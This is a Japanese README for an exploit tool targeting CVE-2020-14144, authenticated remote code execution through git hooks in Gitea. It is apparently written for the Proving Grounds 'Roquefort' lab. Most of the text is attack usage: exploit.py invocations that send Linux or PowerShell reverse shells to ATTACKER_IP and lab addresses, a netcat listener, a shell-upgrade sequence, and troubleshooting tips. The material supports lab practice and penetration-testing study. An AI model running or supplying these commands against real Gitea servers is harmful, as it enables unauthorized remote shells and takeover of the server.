
Gitea バージョン 1.1.0 → 1.12.5 では、「May create git hooks」(Git フックを作成) 権限を持つ認証済みユーザーが、post-receive フックに任意のシェルコマンドを注入できます。コミットをプッシュするとフックがトリガーされ、サーバー上でペイロードが実行されます。
| 項目 | 詳細 |
|---|
| マシン | Roquefort (Proving Grounds Practice) |
| OS | Linux |
| Gitea バージョン | 1.7.5 |
| CVE | CVE-2020-14144 |
| ベクター | Gitフック経由の認証済みRCE |
| ユーザーシェル | chloe |
Gitea バージョン 1.1.0 → 1.12.5 では、「May create git hooks」 権限を持つ認証済みユーザーが post-receive フックに任意のシェルコマンドを注入できます。コミットをプッシュするとフックが起動し、サーバー上でペイロードが実行されます。
# Linux target — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux
# Windows target — PowerShell reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows
ステップバイステップの攻略ガイドは MANUAL.md を参照してください。
.
├── README.md # This file
├── MANUAL.md # Manual exploitation guide (Linux + Windows)
└── exploit.py # Automated exploit script
requests ライブラリ(pip install requests)git がインストールされていることusage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
[--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]
Roquefort — Gitea Authenticated RCE via Git Hooks (CVE-2020-14144)
required arguments:
-t, --target Target Gitea URL (e.g. http://192.168.x.x:3000)
-u, --username Gitea username
-p, --password Gitea password
-I, --rev-ip Attacker listener IP
-P, --rev-port Attacker listener port
optional arguments:
--os Target OS: linux (default) or windows
--repo Repository name to create (default: exploit)
-f, --payload-file Custom shell script payload file
-v, --verbose Verbose output
# 1) Start listener
nc -lvnp 4444
# 2) Run exploit (Linux target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444
# 3) Run exploit (Windows target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 --os windows
# 4) Custom payload file
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 -f payload.sh
リバースシェルを取得した後:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
| 問題 | 解決策 |
|---|---|
fatal: dubious ownership | 共有フォルダの代わりに ~ からクローンするか、git config --global --add safe.directory '*' を実行する |
| 接続が受信されない | 攻撃者のIPを確認し、ファイアウォールを確認し、両マシンが同じサブネット上にあることを確認する |
| フックは発火するがシェルが取得できない | まず touch /tmp/pwned ペイロードでテストする — ファイルが作成されていれば、リバースシェルがブロックされている |
| フックで権限が拒否される | ユーザーにフック権限がない — 管理者または「May create git hooks」権限が必要 |
| 3000番ポートの競合 | Gitea は3000番を使用する — リスナーには4444などの別のポートを使用する |
このツールは、許可されたペネトレーションテストおよび教育目的のみを対象としています。コンピュータシステムへの不正アクセスは違法です。責任を持って使用してください。